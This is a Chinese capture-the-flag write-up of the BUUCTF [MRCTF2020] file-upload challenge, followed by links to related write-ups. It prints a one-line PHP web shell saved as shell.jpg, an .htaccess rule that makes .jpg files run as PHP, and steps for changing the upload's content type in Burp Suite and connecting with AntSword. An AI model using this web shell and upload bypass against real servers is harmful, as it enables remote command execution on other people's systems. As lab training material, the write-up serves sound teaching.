BUUCTF---[MRCTF2020]你传你呢1

简介: BUUCTF---[MRCTF2020]你传你呢1

1.题目描述

2.打开题目链接

3.上传shell.jpg文件,显示连接成功,但是用蚁剑连接却连接不上。shell文件内容为

<script language='php'>eval($_REQUEST[cmd]);</script>

4.用bp抓包,修改属性

5.需要上传一个.htaccess的文件来把jpg后缀的文件全都当作php文件来执行,.htsccess文件内容为

AddType application/x-httpd-php .jpg

6.刚刚我们上传了shell.jpg

就接下来上传.htaccess文件,修改这里

7.接下来我们放包回去,点击forward

8.接下来我们访问shell.jpg文件

访问地址为

http://97d484a8-851f-4d4d-9507-aa835dd782f4.node5.buuoj.cn:81/upload/8d47dd0461a3a88317b0af687ebf8526/shell%20.jpg

9.接下来我们使用蚁剑连接

flag{3687354e-fb5d-415c-b5ec-0c92e80df3e4}
相关文章
|
1月前
攻防世界12-baby_web
攻防世界12-baby_web
攻防世界---baby_web
攻防世界---baby_web
BUUCTF---misc---[SWPU2019]我有一只马里奥
BUUCTF---misc---[SWPU2019]我有一只马里奥
|
1月前
|
数据库 数据安全/隐私保护
BUUCTF---web---[极客大挑战 2019]HardSQL
BUUCTF---web---[极客大挑战 2019]HardSQL
|
1月前
|
数据安全/隐私保护
BUUCTF---[SWPU2019]神奇的二维码
BUUCTF---[SWPU2019]神奇的二维码
|
1月前
|
数据库 数据安全/隐私保护
BUUCTF---[极客大挑战 2019]BabySQL1
BUUCTF---[极客大挑战 2019]BabySQL1
|
1月前
|
数据库 数据安全/隐私保护
BUUCTF---[极客大挑战 2019]LoveSQL1
BUUCTF---[极客大挑战 2019]LoveSQL1
|
1月前
|
PHP 数据安全/隐私保护 C语言
BUUCTF---[极客大挑战 2019]BuyFlag1
BUUCTF---[极客大挑战 2019]BuyFlag1
|
1月前
|
数据安全/隐私保护
BUUCTF---misc---[HBNIS2018]来题中等的吧
BUUCTF---misc---[HBNIS2018]来题中等的吧
|
1月前
|
PHP
BUUCTF---web---[GXYCTF2019]BabyUpload
BUUCTF---web---[GXYCTF2019]BabyUpload